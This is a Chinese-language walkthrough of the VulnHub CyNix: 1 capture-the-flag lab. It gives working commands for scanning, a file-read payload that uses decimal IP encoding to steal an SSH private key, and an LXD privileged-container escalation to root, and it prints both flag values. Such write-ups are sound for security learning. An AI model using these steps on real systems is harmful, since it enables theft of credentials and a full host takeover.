介绍
难度:中等
靶机发布日期:2019年11月27日
Flag两个:User flag: user.txt;Root flag: root.txt
靶机地址:https://www.vulnhub.com/entry/cynix-1,394/
学习:LXD提权
信息收集
主机发现
netdiscover主机发现
额,,无法通过主机名区分开哪个才是靶机。
sudo netdiscover -i eth1 -r 192.168.124.0/24
nmap主机发现
根据对MAC地址的解析,确认靶机是192.168.124.24
nmap -sn 192.168.124.0/24
主机信息探测
信息探测:nmap -A -p- 192.168.124.24
网站探测
访问80端口,没啥信息
目录扫描
gobuster dir -u http://192.168.124.24 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
只发现了/lavalamp
子目录。
点了点,好像也就“CONTACT”能输入点东西,暂时还不知道怎么用
再试着扫描一下子目录/lavalamp
下有哪些东东,扫出来一些目录,试着访问一下结果403禁止访问。
网站测试
这个时候,只能回到/lavalamp
试试,随便输入点东西,BurpSuite抓包重放一下。响应包出现“Specify a number”,提示我们输入一个数字。
渲染一下页面呢?
停止抓包,看下页面响应内容。首先并没有发现BP响应包的页面,其次“CONTACT”页面上出现一个红色的框框,无法输入内容。审计页面后发现了一个地址,它的title写着“Can You Bypass Me?”,可以试着访问一下。
其实,如果在BP中选择复制URL地址,也会得到这个页面
继续尝试审计页面,看到submit
,这里好像是一个提交框,只是我看不到它。这个时候只需要鼠标双击网页人物Neo的额头的框框即可。
双击之后,页面出现一个黑色的框框
在黑色框框中随便输入点东西,然后双击Neo的额头,抓个包。看到参数的名字file
猜测可能跟文件读取有点关系,试一试吧
页面提示,我应该试试访问本地文件。那就试试任意文件读取呢?
直接访问当前地址呢?提示我不能这么做
换用/etc/passwd
,转到源码模式,发现提示我们选择一个数字,我选择个锤子呦,不出效果,应该还是姿势不对。
简单分析一下,我们被告知要访问本地文件,但是直接访问都失败了,因该是要尝试做绕过,试试IP地址转换,在linux中,以下几种方式是等价的(可自行测试):
- ping 127.0.0.1
- ping 127.0.1
- ping 127.1
- ping 0x7f.1
- ping 2130706433
通过响应包,大致判断可以登录的用户只有ford。
读取SSH私钥
由于靶机只开放了80端口和6688(SSH)两个端口,此时大胆猜测,下一步既然要SSH连接ford用户,那么ford用户的家目录里面有没有SSH私钥呢?
file=2130706433/../../home/ford/.ssh/id_rsa&read=Download+the+number
把获取到的SSH私钥保存到kali上,连接靶机
SSH连接靶机
第一个Flag
获取到第一个Flag:02d6267ed96e6b615b031dafe9607151
vim id_rsa
chmod 600 id_rsa
ssh -i id_rsa ford@192.168.124.24 -p 6688
提权
网上下载个LinEnum,测试一下,发现 lxd 有可能存在利用
-
查看镜像列表:
lxc image list
,是空的 -
创建特权容器:
lxc init ubuntu:18.04 asuka -c security.privileged=true
由于实际的情况中往往是创建失败的,所以再额外罗嗦一下创建失败咋整。咋整就是在kali上生成镜像,然后复制到靶机上面。参见:https://github.com/saghul/lxd-alpine-builder
lxd提权
- 在kali上生成镜像
git clone https://github.com/saghul/lxd-alpine-builder.git
sudo ./build-alpine
生成的新镜像
- kali开启http服务,靶机下载镜像
python3 -m http.server 80
- 靶机下载镜像:
wget http://192.168.124.22/alpine-v3.15-x86_64-20220115_0347.tar.gz
- 导入文件,并对其重命名
lxc image import ./alpine-v3.15-x86_64-20220115_0347.tar.gz --alias fromkali
- 创建容器:
lxc init fromkali fromkali -c security.privileged=true
- 挂载容器, 在/mnt/root 下挂载整个磁盘:
lxc config device add fromkali fromkali disk source=/ path=/mnt/root recursive=true
- 启动容器:
lxc start fromkali
- 指定与主机交互的终端:
lxc exec fromkali /bin/sh
观察IP地址知道,我现在是在靶机的容器中。
- 查看宿主机的文件目录:
ls -al /mnt/root/root
之后就可以获取flag2了
第二个Flag
查看文件:cat /mnt/root/root/root.txt
得到Flag:b0f971eddce7bd007e9f50ca02f5fe11
参考
127.257 and other fun legacy IP addresses
『VulnHub系列』CyNix: 1-Walkthrough
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134259.html